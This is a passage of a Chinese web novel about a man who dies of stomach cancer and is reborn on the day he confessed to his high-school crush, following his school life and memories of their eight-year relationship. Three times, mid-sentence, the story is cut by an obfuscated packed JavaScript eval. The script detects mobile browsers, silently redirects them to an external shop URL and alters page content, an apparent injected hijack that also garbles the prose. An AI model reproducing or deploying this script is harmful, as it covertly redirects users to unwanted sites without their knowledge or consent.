《分手后重生回表白现场》 1. 重生表白 01 夏日,蝉鸣,少年。 此情此景,不由让我想起那句经典的“蝉鸣”文学,于是我笑了。 显然,这个笑有点不合时宜。 曾经的我,不会允许自己的任何不合时宜出现在吴理面前。 可是现在,去tm的。 如果连一个死过一次的人都不能肆无忌惮,那这个世界就太操蛋了。 02 吴理,人如其名,学的是物理,做事十分无理。 上辈子和他在一起八年才分手,完全是出于我的宽宏大量。 妈的,凭什么分手是他提的,好亏。 03 我死后无数次幻想过和他分手的场景,我将门狠狠一摔,然后潇洒地转身再见,风带起我的衣角,我在寒风中挺着一身傲骨,飘然而去。 然而现实却是,他说我们分手吧,我说好。 一点都不帅气。 04 我的死也很不帅气,绝症,胃癌晚期,没钱,不想化疗。 小时候的我以为自己能成为拯救世界的英雄,最后发现我连自己都拯救不了。 生命最后的时光,我只能静静,静静地听着微弱的心跳渐渐停滞,身体就像被冻进了冰块里,过了好久大脑才意识到——啊,我死了。 然后连同神经感官一同寂灭。 天荒地老,沧海桑田,身归尘土,魂无居所。 实在是,凄凄惨惨。 05 我再次睁眼的时候,发现老天跟我开了一个巨大的玩笑。 我重生在了我向吴理表白的那天中午。 我看着他微微出神的眼睛和礼貌疏离的笑容,在心里猜测着如果告诉他我是重生之人的事实,他的科学观会不会崩塌。 想到这里,我又笑了。 06 吴理皱了皱眉,他可能不理解为什么一个人能自顾自的站在那里傻乐。 就像他从前不理解我为什么不能考上他学校的博士,为什么要搞那么多所谓的仪式感,为什么要在朋友圈官宣…… 我甚至到死都没有听见过他的一句“我爱你”。 07 嘶,我会不会被人骂舔狗啊。 08 不过既然老天给了我一次重来的机会,我当然要把握住。 我要帅气潇洒、风流倜傥、玉树临风地拒绝他的表白!以报分手之仇。 …… 等等,现在好像是我在表白来着?! 09 好吧,幸好穿越回来的时间点还早,那句“我喜欢你很久了”并没有说出来。 万幸,万幸。 10 “什么事?” 吴理破天荒地开口主动询问,他嗓子有些哑,不知道是不是感冒了,吃没吃药啊,得多喝热水……停! 我的大脑啊,你也太自觉了,现在这人跟我没关系呢,你那么关心有什么用。 我一哂,有些记忆,是会绕过大脑,刻蚀在神经系统,牵扯着肌肉的。 11 上辈子他这样问过我吗? 说实话,应该没有。 我记得我表白的时候一激动说了一长串,一直到最后,他也只是摇了摇头,冷淡地拒绝。 那场表白简直就是灾难。 不仅被讨厌我的人借题发挥说我癞蛤蟆想吃天鹅肉,还给我留下了巨大的心理阴影。 我没有告诉过吴理,他拒绝时的那个表情,是我高中时所有的噩梦来源。 12 “我喜……习得了一些物理知识点,想找你请教请教,不过一看你就没有时间,打扰到你了十分抱歉,这时间也不早了,我就先告辞了,再见!” 再!也!不!见! 13 我一阵风似的远去,独留下吴理一个人在原地一头雾水。 我迎着风,没有再看一眼背后的身影。 相爱的人可以为了对方赴汤蹈火,在所不辞,可我退缩了,因为他并不爱我。 爱这个字,太重太重,上辈子的我受累而终,那么这辈子我就绝不会重蹈覆辙。 我迎着风,泪水夺眶而出。 两三滴祭奠着我虚无缥缈的爱情,剩下汹涌而出的是对生命的向往。 一呼,一吸,抬脚,落下,我在奔跑,在运动,在无忧无虑,健健康康地活着。 14 活着真好。 15 我想不通为什么吴理会站在我们班门口。 我记得高中的我们隔着一层厚障壁,年级第一,物理竞赛国金,他毫无疑问应该在最好的A班坐地称王,而我成绩中等,勉强算得上优秀,在B班堪堪占了一席之地。 我们唯一的交集,大概就是拥有同一个物理老师。 不过就他的水平,高中物理老师也教不了他什么了。 我看着他走进B班教室门,走到最后一排,走到我的座位后面,然后坐下。 16 ??? !!! 17 世界是玄幻的。 不到一个课间,年级第一的学霸到B班借读的消息就传遍了整座教学楼。 大家津津乐道,听听,听听——借读!这词用得多么精妙,给足了B班面子,又不驳领导面子。 反正这位香饽饽已经保送了全国顶尖大学,并且家庭背景深厚,毫不夸张地说,他现在就是想谈对象,领导都能当红娘。 18 我还未来得及细细思考一番他的用意,就被高中物理题绊住了脑细胞。 为什么重活一次还要高考啊! 最难受的是脑袋里已经完全没有了当年高考题的记忆,连作文题目都想不起来,更别说物理最后一道大题的题型了。 我啃着一本本天书,深深叹了口气。 19 “这里,少加了个摩擦力。” “还有,用这个公式。” 我依稀记得高中时的同桌是位学霸,即使层次比吴理这种学神稍低一点,那也是我等凡人可望不可即的存在。 重生回来的这几天,我细细请教,谦虚卑谨,终于打动了学霸同学一颗冉冉升起的为师之心,从我主动求教发展到了他时刻紧盯,连写作业时的一点小错误也能被他揪出来。 他们学霸是不是都有这种特长,我以前写的论文吴理看一眼就能揪十几个错。 离谱。 20 我以为吴理是来观光加体验生活的,没想到他真赖在我们班不走了。 这几天他就坐在我后面,不说话,手里捧着全英文的文献,一个人默默钻研。 你看,天才比你还努力,也怪不得你配不上人家。 21 我不是天才,我是咸鱼。 能躺则躺,一直是我的人生准则。 梦想啊什么的都太遥远了,我现在的目标是健健康康地活着! 目标第一步,养胃! 22 同桌看着我的枸杞泡大枣愕然。 “太夸张了,小白。” 他指了指我饭卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124721|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的年龄,“要不是这里写着16,我还以为你61了。” “你懂什么?我这是养生~” 我睨了他一眼,偏开头享受我的养生热饮。 身后传来一声重重的书页翻动的声音,翻书翻那么响,和书有仇啊? 我心里嘀咕着,吞了一口热水。 暖胃!爽! 23 记得上辈子我不喜运动,天生缺根运动神经,别人打球我送水,别人游泳我躺平,为此没少被嘲讽不合群。 而吴理是个德智体美劳全面发展选手,从田径到球类,从天上到地下,他似乎都能玩一玩。 不然也不会有那么结实的肌肉。 嘶——黄色废料,拱出去! 好了,我得下定决心,即使做不到全面发展,也得发展那么一两项运动爱好强身健体吧。 体育课。 我承认我之前说话声音大了点。 运动爱好不是那么简单就能发展起来的,尤其是在被篮球砸了三次头后。 体育委员深深叹了口气,拍着我的肩膀说:“兄弟,篮球是往筐里扔,不是把自己脑袋当筐砸。” 我郑重点头,随后接过球潇洒一抛—— 哦豁,出界了,还砸到路人了。 体育委员一脸惨不忍睹,我只能小跑过去捡球,顺便和被砸到的路人道歉。 “同学,抱歉抱歉,你没事吧?” 我低头,捡球,起身,鞠躬,抬头,一连串流畅的动作最后定格在了一张冷淡的面容上。 靠!吴理怎么会在这啊! 就像神明不屑向人间瞥下一眼,吴理也理所当然地不可能和我们打成一片。 成绩、背景、家世,在他和我们之中划出了一条长长的天堑。 我眼前一黑,他不会以为我是在故意找他搭讪吧? “没事。” 我没想到会有回应,看了看他被篮球砸到的部位,虽然很不愿意,却还是心虚地问了一句:“要不要去医务室看看?” 他甚至没有一秒犹豫就点了头! 怎么回事!对这种不知道抱有什么心思的可怕男同学,不应该保持距离吗! 你的高冷呢?! 我在心里狂啸,脚上却老老实实地跟着吴理去往医务室。 23 我问医生他还好吗? 医生说没什么大事,可能脑震荡。 ? 果然,在医生眼里,人生除死无大事。 我只能祈求上天千万别是脑震荡,不然我又要和他纠缠不清了。 医生问吴理有没有药物过敏史,我的脑子仿佛抽了一般,下意识远转起来。我先他一步流利报出:“他对青霉素过敏,市面上大部分抗生素他都不能吃。” 啪! 翠嘴,掌果! 我在心里哀嚎,这嘴怎么就这么不听话。 我不敢去看吴理的眼睛,只僵硬地看着医生慢吞吞地掏出一大堆五颜六色的药片,而后利落刷卡结账——当然,是余额只有五十块的饭卡。 “滴——” 好了,现在只有五块二了。 我把那一袋子药匆匆塞进吴理怀里,含糊道:“我先走了你自己应该能回去吧……” “不能。” 他理直气壮。 我抬头,撞入了一双漆黑的眸子,吴理低头看着我,眼中似乎含着一抹笑意。 一定是错觉!这个如人形AI一般的人怎么可能会笑? 这一点,从我十岁见到他的第一眼起,便一清二楚。 2. 异想天开 24 说起我和吴理的初遇,还挺戏剧化的,虽然他估计早就忘了——毕竟在他的记忆里,我们的第一次见面,就是我拦下他莫名其妙朝他告白。 听听,听听,莫名其妙,他竟然用这个词来形容我孤注一掷的年少冲动。 活该他没对象! 25 不能这么莽撞地下结论,也许我死之后,他重觅新欢了呢? 26 说回我们的第一次见面。 我第一次见到吴理,是在一场市级小学奥数竞赛上。 我的父母一直秉持着“爱啥啥”的教育理念——即“爱学啥学啥,不学也行”——于是在报兴趣班的时候,他们征求了我的意见。 小时候的我实在眼高手低,看啥都有趣,指着少年宫上一排排兴趣班,一溜烟全打了勾。 最后是我的父亲大人抱着钱包哭诉,才阻止了我继续指点江山。 27 真想穿越回去抽我一巴掌。 strong。 28 不过也许小时候的我真有那么一点天分,在辅修奥数、书法、跆拳道、围棋……等等等等的情况下,还闯进了市级小学奥赛。 我还是很聪明的。 29 不过这份洋洋自得在那场竞赛中破了个粉碎。 我第一次理解人外有人天外有天的道理,那群戴着厚厚镜片的对手简直就是魔鬼!大家都是小学生!凭什么他们的智商就这么变态!!! 唉,等等,好像有一个例外。 30 这个例外不是指他智商不变态,而是他没有戴厚厚的镜片还长得很帅! 31 嘶,更不平衡了。 32 用我母上大人的话来说——十岁的小屁孩能看出什么帅不帅。 但我当时就是觉得,这张脸怎么就那么对我胃口。 他做题的时候微蹙眉头,薄唇轻抿,眼睛长得像眼睛,鼻子长得像鼻子。 这是十岁小学生能给出的最高评价。 33 一轮游的我一直看到了决赛,父母以为我是比赛失败遭受打击立志发愤图强,而只有我知道,我就是单纯的花痴。 嗯,吴理不出所料拿了第一。 其实我应该还算是一个智性恋。 34 颁奖结束后,我拦住了吴理。 我问他:“你能不能和我拍一张照片?我最仰慕的物理学家是爱因斯坦,而我在你的身上看到了他的影子。你能不能帮我完成我的梦想?让我和年轻的爱因斯坦合照一张?” 由此可见,我自小就会鬼扯。 35 也许是我胡扯得太抽象,吴理竟然答应了我的无理请求。 虽然他一直没笑就是了——在我喊茄子的时候也没笑! 36 那是我们的第一张合照,也是最后一张。 37 不怪我沦陷,吴理那张脸,小小年纪就已经能窥见长大时的风采。 因此进入高中后,我几乎是第一眼就认出了他。 他挂在学校的光荣榜上,证件照拍出了模卡的效果。他常年霸占着第一的宝座,跟被用502胶水焊死在上面了一样。 分手后,我时常看着吴理的这张照片,一看就是一整天。那时我自知时日无多,看一眼就少一眼,于是便废寝忘食地看,仿佛多看一眼我就能多活一秒一样。 只是不知为何,心脏经常无故抽痛。 可我明明是胃癌。 38 不过比起我,应该有一个人更加痛苦看到这张照片。 那就是年级第二。 39 没错,就是我那热心肠的学霸同桌。 今天我的同桌依旧在日行一善,他用余光瞟到了我画的受力分析图。 “啪!” 他放下了笔,深深叹了口气。 我浑身一抖,看来事态很严重。为了体现我很有眼力见,我连忙主动询问:“怎么了?大宝?是方向不对?还是数据不对?” “都不对。” 同桌痛心疾首。 他使劲戳了戳图上的小球,摇头愤愤道:“你告诉我,这个往上的力是从哪来的?怎么,小球要挣脱地心引力,离开牛顿爸爸的怀抱,飞入宇宙寻找太阳?” 我心虚解释:“你知道的,我偶像是爱因斯坦。” “so?” 我信誓旦旦:“所以这是量子力学!” “砰!” 我听到了科学观碎裂的声音。 “大宝——你没事吧——” 同桌如一棵被大雪压着的草,摇摇晃晃倒下了。 40 我用余光瞟到,吴理从后门进了教室——他应该刚从老师办公室回来,据说A班和B班班主任为了他的归属问题,吵了三天三夜了。 41 我拍了拍同桌的背,又恭敬地给他递上了我的养生暖胃汤。 那口水还未落入同桌的肚子,我的水杯就被一股大力夺走—— 谁!是谁在觊觎我的水杯? 42 哦,是吴理。 嗯?是吴理! 43 吴理皱了皱眉,将我的水杯牢牢握在手中,仿佛抱着什么宝贝一样。 他不赞同地看了我同桌一眼:“用别人的水杯不卫生。” 天啦噜,是卫生标兵,我们有救了! 不过你装什么装,搞得好像你没吃过别人口水一样。 嘶,有伤风化,有伤风化。 44 同桌本就沧桑的脸色添了一分苍白。 他举起手指,指着吴理和我,“你你你……”了半天。 我无暇理会被吴理绑架的水杯,安慰同桌道:“痴情的大宝啊,请再讲一遍吧,这一次我一定能听懂!” 45 吴理很会提取关键词。 “痴情?大宝?”他目光沉沉看向我,语气意味不明,“他喜欢你?” “隆隆隆——” 真是五雷轰顶,雷得人外焦里嫩。 我,和秦大宝——那个把五三视作灵魂伴侣,试卷当作后宫的奇异男子——是怎么和喜欢这两个字联系上的? 46 吴理嗑cp的眼光真的很差。 47 秦大宝喷出了一口老血。 “我就是死,从这个窗户上跳下去,也不会看上一个不会写物理大题的白痴!” 真是毒誓。 “你这是典型的真香定律啊,大宝,乖,咱不发这种危险的誓。” 吴理的脸色更黑了。 48 “哪道题?” 吴理忽然看向我,眼神平静,但却仿佛藏着一场暴风雨。 “什么?”我的思维一时还没有转变过来。 “他给你讲的是哪道题,我有更好的解法。” 连题都没看就自信有更好的解法吗?不愧是年级第一,不过这对于年级第二的打击是不是太大了? 秦大宝已经快抽过去了。 49 吴理看着我的试卷沉默了半晌。 很正常,毕竟在重生前,他从未切身体验过我的真实物理水平。 50 我们是在高考完之后在一起的,从16岁第一次表白开始,我锲而不舍地跟吴理又告白了好几回,但得到的通通都是拒绝。 直到高考结束,同学聚会,我们两个班阴差阳错订在同一个酒店,我们的班主任又恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124722|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好怼上并相约KTV包厢,再然后,一群半大的少年喝醉酒开始群魔乱舞,而我在一片喧闹中,强吻了他。 51 吴理当时竟然没有打死我。 估计是气昏头了吧。 52 之后,吴理答应了我“试一试又不会少块肉”的提议。 这一试,就是八年。 53 可以说,我的高中生涯,是一场我单方面对吴理的骚扰,我在那里伤春悲秋感天动地,人家可能根本没有注意到我这号小人物。 54 不过现在他就注意到了。 55 “这个向上的力是从哪来的?” 学霸的问题果然都一样犀利。 秦大宝的眼睛亮了亮,仿佛看到知音。 56 “你没有看到吗?” 我认真地看着吴理的双眼。 “小球有一颗想要追求不可能的心。” 57 吴理显然没有看到,他还是太缺乏想象力了。 这是他们搞学术的毛病吗?凡事皆讲究概念定义,缺少天马行空的思维。 当然,用吴理的话来说,这叫干扰理论的不可控因素。 58 “当然不可能!白添!你的脑袋里到底装着什么!” 秦大宝嘶吼。 我默默用橡皮擦擦去了受力分析上的那条细线——是啊,小球怎么可能脱离地心引力向上飞,就像我,一直忽略实际去追求吴理。 我们都在妄想不可得之物。 59 “抱歉,是我异想天开。” 这句话是吴理给我的评语。 60 我在家里买了一个懒人沙发,我经常躺在上面,幻想我是一个发霉的蘑菇;我给我们捡的小橘猫取名狗蛋,因为我一直害怕名字太大,小猫的魂会被黑白无常勾走;我写论文的时候,会虔诚地打开电脑拜三拜,然后被吴理痛批我在家里搞封建迷信活动…… 他对于我的这些离谱举动,都以一言概之——“异想天开”。 61 是啊,我追他,也是异想天开。 62 我擦去了那条异想天开的线条,就像擦去了我们异想天开的爱情。 两条平行线怎能相交? 这是异想天开。 63 吴理攥住了我的手腕,他似乎察觉到了什么,语气竟有些慌乱。 “其实……”他沉默片刻,艰难道:“也不是异想天开。” 64 他把那条线画了回去。 65 秦大宝在掐人中!秦大宝失去意识!秦大宝彻底阵亡! 66 我大惊,到底是什么让吴理说出这样罔顾客观真理的话来? 不管是谁,你都快从他身上下来。 67 “对了。”吴理看向秦大宝,“他为什么叫你大宝?” 他的语气很沉,仿佛在审问。 68 “学神,来这个班这么久了,你难道还没有记住同学们的名字吗?” 秦大宝幽幽道,灵魂已然飘出了躯壳。 69 我的学霸同桌,本名秦大宝。 吴理坐在人后面这么久,竟然一点没记住? 鱼的记忆力吗? 70 “那你知道我的名字吗?” 我开玩笑道。 71 “白添。” 我一怔。 这两个熟悉的字在吴理的口中一滚,仿佛沾染了什么滚烫的气息,烧得我耳朵通红。 吴理叫我从来都是叫全名。 甚至在那个时候,也是如此。 3. 情敌相见 72 光看吴理那副冷冰冰拒人于千里之外的气质,一定会有人觉得他是性冷淡。 实则不然。 别看他长得人模狗样的,但在床上的时候却人样全无,只剩狗了。 偏偏这种时候他还在严格遵守他那点刻进骨子里的规章礼节。 “白添。” 耳边划过一丝热气,滚烫的吐息在皮肤上激起一连串痒意——他在征求我的意见。 73 这种时候就没必要问我了啊! 你只需要霸王硬上弓OK? 这样那样顺水推舟水到渠成顺其自然懂吗!!! 74 原来我还有当m的潜质。 75 我们俩叫对方似乎一直都是全名,我叫他吴理,他叫我白添,没有什么浓情蜜意的特别称呼,也没有什么情侣之间的小情趣,只有相敬如宾的八年。 我在那个家似乎只是一个客人,天气严寒燕子就会飞向南方,而我也不过是一只迁徙的候鸟,在吴理的屋檐下暂且落脚。 可燕子尚能等到春暖花开,我却始终没能等到我的冰山融化。 我们在一起的事情甚至没有除了我们之外的第三人知晓,吴理的朋友只当我是个解腻的小玩意儿,我的朋友,我的朋友…… 我似乎已经很久没有听过他们的消息了。 76 我不是个喜爱社交的人,妈妈总说我的情感观念有些执拗,就算是交朋友也有情感洁癖,认准了一个就不放手,但如果他有了其他朋友,我就会默默退开。 朋友就是对方心中最重要的人啊,朋友怎么能有第二个呢? 可妈妈说那不对,与你携手一生的只有你的家人,而独一无二的那个人是你的爱人。 好复杂,人和人的交往是怎么分出这么多类别的? 我只是单纯地认为所有感情都应该纯洁无瑕。 大概是后来的我也知道自己过于偏执,于是我从不主动去交朋友。明明我也会和同学打闹,会参与大家的玩笑,但所有认识我的人都说我好像与他们隔了一层薄薄的纱。 靠近不了,接近不了,好像没有任何人能走进我的心。 77 笑话,我一颗真心的大门分明早已向一人敞开。 只是那个人不愿意进来而已。 78 所以这一辈子,我要纠正掉我偏执的想法,我要把我的心门向所有人敞开!我要做一台无差别送暖的中央空调! 79 “哎,白添儿,能帮我个忙不?” 你看,机会说来就来。面对同学的诚恳请求,我这台中央空调怎么能无情拒绝呢? “没问题!” 我大手一挥。 操着一口流利京片子的体育委员搓了搓手,将一支笔递到我手中,笑容激动而和煦,仔细看仿佛还掺杂了一丝愧疚:“哎哟喂,我就知道添儿你人最好了!打你进这个班第一眼起,我就知道你是个有男子气概的人!还有你那篮球技术,我还是第一次见有人能那么精准地给自己盖帽儿呢,甭说了,从今天起你就是我高小强最好的兄弟!” “需要我做什么?”我接过笔,笑容洋溢。 体委恭敬地将一张纸放在我桌上:“添儿,在这签字就行。” 我的字迹肆意张狂。 交朋友也不是这么难嘛。 80 等等,不对。 81 白纸的抬头上写着校运会男子5000米报名表。 “高——小——强——” 我发出了杀猪般的叫声。 果然天下没有免费的午餐,也没有白交的朋友。 我可是一个跑完1000米体侧就瘫倒在地上再也爬不起来的男人! 原来重活一世,比前男友更可怕的是5000米长跑。 82 更可怕的是前男友和你一起跑5000米长跑。 吴理为了给我讲题,站在我桌子旁的过道上,因此他恰好围观了我和体委的这一出好戏。 “5000米?” 他轻启薄唇,眼神一瞥。 高小强立马精神,仿佛跟领导汇报一样立正站好,就差敬礼了。 “对!每个班必须出一个人,强制要求,我也没有办法,这才找上添儿了嘛。” “添儿?” 恍若过电一般,耳朵霎时爬上一阵酥麻。说起来,吴理才是纯正的京城人,然而我却很少见他流露出独属于本地人的风土人情。 他看着我的眼睛,再次缓缓吐出这两个字。 “添儿。” 我老脸一红。 83 真是太不争气了。 被前男友叫一下名字就害羞了? 但凡他早点这样,我们也不至于…… 算了。 陈年旧事,提他作甚。 84 “我也报名。” 见我沉默,吴理眼神黯淡了一瞬。然而旁人并没有注意到他的情感波动,也只有我这个和他朝夕相处了八年的昔日恋人才能察觉。 他拿起我的笔,在我的名字旁边洋洋洒洒签下他的名字。 两个名字并排在一起,一个笔触有些生涩,一个却完美得仿佛名家大作。 实在太不相配。 85 记得有一回情人节,我点了一杯奶茶,店员送给我一本红色的小本本,我翻开一看,竟是一张结婚证,不过公章是奶茶店的人偶标志,签名也是奶茶店的落款。 但除却这两样,其余的都惟妙惟肖。 分明是商家的营销手段,我却可耻地心动了。 我紧紧攥着那本小红本本,回家的路上,一颗心疯狂跳动,好似回到了高中我第一次向吴理告白的时候。 我还记得我是怎么一脸通红结结巴巴地跟他求婚的—— 我说法律无法认可我们的婚姻,但我会穷尽一生爱你。 我说我爱你,我们结婚吧。 吴理的目光垂下,落在那本小红本上,不知道在想什么。 86 吴理最终并没有在那张本小红本上签下他的名字,后来小红本不知道被丢到了哪个角落,一直到我搬家的时候才把他翻出来。 落满灰尘的小红本上只有我的签名,这是一出只有我在奋力嘶哑的独角戏。 一如我们的爱情,是一场只有我在表演的舞台剧。 我又唱又跳像个小丑,而吴理坐在观众席,冷冰冰地隔岸观火。 而后大红的幕布落下,徒留我在后台遍体鳞伤。 87 等等! 既然一个班只需要出一个人,那让吴理去不就得了? 我连忙拿起笔,准备划去自己的名字。 吴理攥住我的手腕,死死用力。 “干什么?”我不爽,无名无分的还想管我做事? 做梦! 88 “你是不是忘了一件事?”吴理好意提醒,“我是A班的。” “咔嚓。” 我听到了心碎的声音。 对啊,吴理是A班的,怎么可能代表我们班出战。所以我还是得跑完这该死的5000。 天要亡我! 89 跑道上冷风萧萧,我穿着学校配发的背心,站在一群田径健将中,仿若鸡立鹤群。 吴理也站在我的旁边,他顿了顿,似乎想要说什么。 “理哥!” 一道惊呼从田径健将的队伍中传出,有人跑了出来,朝我们的方向冲来。 我认识他,严语英,吴理的A班同学,也是他最好的高中朋友。 90 英语和物理,听起来还很搭。 91 好吧,其实他们不是朋友关系,严语英曾经追求过吴理,但却被我横插一脚,算是我的情敌。 现在想来,年少还是不知天高地厚。人家家境匹配,长相势均力敌,成绩还不相上下。 我去当什么搅屎棍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124723|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 92 我默默向后退了一步,看着他们聊起来。 真般配啊。 我不在意地想。 93 今天的风有点大,吹得我眼睛通红。 94 发令枪喷出白烟,巨响炸在耳边。 我冲了出去,我将化见到情敌之愤为动力,一举—— 举不动了。 看来情敌对我的刺激还是不够,还没跑到1000米,我的腿就已经软了。 早知道就不该答应高小强的。 我恨! 95 2000米,我的眼前已经出现了重影,我隐隐感觉自己将要化为一颗舍利子,或燃成一股青烟,远离大地,飞向天空。 我听到了身旁传来坚定有力的脚步声。 嗯? 竟然还有比我还慢的?不会是套圈的吧? 我用尽全身力气投去一瞥,发现那人竟然是吴理!他放慢速度,跟在我的左后方,淡定提示:“放慢呼吸,脚步不要乱,跟着我的节奏。” 他竟然在给我领跑! 十有九分之不对劲。 我记得他从前高中次次5000米都是第一。 96 吴理你在干什么! 你不要你的第一了吗?我不允许! 97 嗯,是的,我还是个事业粉。 98 我终究还是没能跑完5000米,跑到3000米的时候我直接瘫倒在地,幸好吴理接住了我,才没有发生脸撞大地的惨剧。 他背着我去了医务室。 背!背!背! 我还是第一次趴在他的背上,但我已经无力感叹,更无力回味。 一到医务室我就吐了个昏天黑地,医生依然生死看淡的模样,说让我好好休息,补充点糖分就好了。 于是我躺在医务室的床上,被子一拉,眼睛一闭。 醒来时已经是傍晚。 99 一杯奶茶放在床边的桌子上。 看到那个熟悉的品牌人偶,我下意识地扭转头。 吴理靠坐在椅子上,正闭目养神。他的眉间轻轻蹙着,仿佛是做了噩梦,睡得十分不安稳。 他一只手搭在我的手背上,温热覆盖在皮肤上,我却不敢多想。 我的手指动了动,吴理刹那睁眼,他兀地握紧手,将我的手指攥在手心里,生疼。 他怔愣地看着我,似乎还没有从梦里醒来。 “白添。” 仿佛是为了确认我的存在,他嘴唇颤动。 “嗯。” 我应了一声,吴理长舒了一口气,但握着我的手还是没有放开。 “我有点渴。”睡了太久,我的嗓音有些哑。 吴理连忙去拿水,他拿起桌上的那杯奶茶,一本有些刺眼的小红本躺在下面。 吸管进了我的嘴里,吴理仿佛才看见那本小红本一样,故作无意拿起它,随意翻了翻,将内页展示给我看。 “祝吴理和____99!” 上面竟然已经有了一个名字。 “挺有趣的游戏,店员说签了名字可以找他们兑换一杯奶茶,你要试试吗?” 吴理的嗓音有些发紧。 我低着头,嚼着那颗有些发涩的珍珠,艰难地将它吞了下去。 “不了吧。”我抬头,夕阳的余晖洒了进来,将雪白的被子染得通红,吴理的脸被光映衬得仿佛艺术品,我躲在阴影中,毫无心理负担地欣赏了片刻,而后缓缓道:“你找别人签吧。” 我又看了一眼手中的奶茶,斟酌开口:“其实,这个牌子的奶茶,我不太喜欢。” 吴理沉寂了下去。 一直到光线将他雕刻成一尊冰凉的雕塑,他才有所动作。 吴理将小红本合上,沉默了片刻,许久后才轻道:“嗯,我知道了。还有……不会找别人签。” 最后一抹光线沉入地平线,我们在黑暗中相对无言。 4. 像在索吻 100 我讨厌高考。 都重生了我为什么还要学习。 更可恨的是我怎么也想不起来高考题目。 101 不过彼时我尚有想要和吴理考到一座城市的动力,我有自知之明,知道自己高攀不起吴理保送的那所大学,但考在一个城市,还是很容易的吧? 我就是那种被网上痛骂为了爱情放弃前途的恋爱脑。 嗯,随便骂。 我听劝。 102 好吧,其实我没有放弃前途。毕竟在京城这寸土寸金的地界上,我父母挣了一辈子才挣了一套三室一厅,我死也要留在这。 其实也有京城高考卷简单的原因。 这里的教育资源也确实丰厚。 好了,不许说了。再说下去要被骂了。 103 但这一次,我不想留在京城了。 世界那么大,我想去看看。 我要去江南赏美景!去西北看戈壁!去西南吃美食!去东北打雪仗! 人为什么不能一口气读四个大学? 104 还是去江南吧,东北太冷,西北太辽阔,西南饮食太辛辣,我胃不好。 江南养人。 105 既然上辈子没有人愿意滋养我这盆干枯的花,那这辈子,只能换我好好养自己了。 106 老班让我们填自己的志愿学校,他要汇总起来打成一张表贴在教室后面,这样我们每天进教室的时候都能被打一管鸡血。 老班还是深谙养殖技术。 我们是闷头跑的驴,那张表就是挂在我们面前的苹果。 前世我的苹果是吴理,太苦,太涩,咽下去还酸。 这一世,干脆换成梨吧。 107 秦大宝填了京城大学,嗯,不出意料,很有志气。 他上辈子也如愿考上了京城大学,不过那时候我和他的交集不多,只是因为他和吴理一个学校,学院又在物理研究院旁边,我去找吴理时,时常碰见他。 一来二去,也算是能说得上几句话。 他的人生很顺利,名牌大学,一路到博士,与爱人相识于校园,生了一个可爱的女儿,家庭幸福,生活美满。 我郑重地跟他说:“大宝,你会考上京城大学的。” 不是祝福,是预言。 秦大宝差点没抱着我亲一口,好在一本练习册飞过来挡在了我们中间。 “你的错题帮你更正好了。” 是吴理。 他最近不知道犯了什么病,一直致力于辅导我的学习。每次练习册发下来,他都先我一步更正错题,又不遗余力地一道题一道题给我讲解。 不过过程不亚于对牛弹琴。 物理不会就是不会,他就是把我绑起来抽我一百鞭子我也还是不会。 嘶,一天天想些什么呢? 108 秦大宝问我填了什么学校,我随意一推,把白纸上的校名给他看。 另一道隐秘的视线投了过来,吴理在后面伸长脖子。 “江南大学?”秦大宝震惊,似乎不理解我一个京城人为什么会离开故土,“你不想留在家里?” 家? 京城不是我的家。 我的父母都是从小地方考出来的,世人称这样的人为小镇做题家。可他们就是顶着这样的名号,硬生生在京城凿出了一片天地。 在这片内卷的土地上,他们从不要求我什么。每到暑假,我会回姥姥家,姥姥家在西南的一个村子里,这样的村子在这片土地上有成千上万个。它们藏在大山里,藏在河流中,妈妈常说,她是翻了一座又一座山才走出来的。 但她不怨山,她深爱着这片生她养她的土地。 而我爱屋及乌。 我也爱上了西南的辣子,爱上了那层层绵延的山峰,爱上了只有在乡野才能看见的星星。 至于寒假,我会回爸爸的老家。他老家在东北,那片黑土地辽阔深远,生不出狭窄的爱。 我最喜欢在爷爷奶奶家的炕上卷大葱煎饼吃,每当有客人来了我就招呼他们和我一起来炕上玩。等下雪了,我会拿着爷爷奶奶给我准备的小推车,去雪地里铲雪、堆雪人。 雪落在我的睫毛上化成冰晶,呼吸在雪幕间蒸腾成缕缕热气。 我爱极了东北的雪。 109 说来很巧,我的父亲叫王白,因为生下他时家里一穷二白。我的母亲叫白玉,因为姥姥说她是一块白玉无瑕。 于是我叫白添。 王白添了一笔,就是白玉了。 也许是因为我父母的爱情太完美,才会让我在吴理身上渴求不可得之物。 110 “你要去江南?” 吴理的声音有些颤抖,他不顾礼节,扯过了我的志愿表,上面的文字好像刺眼一般,他只看了一眼,就别过头。 111 西南是母亲的故土,东北是父亲的家乡,他们在京城相识相爱,然后有了我。 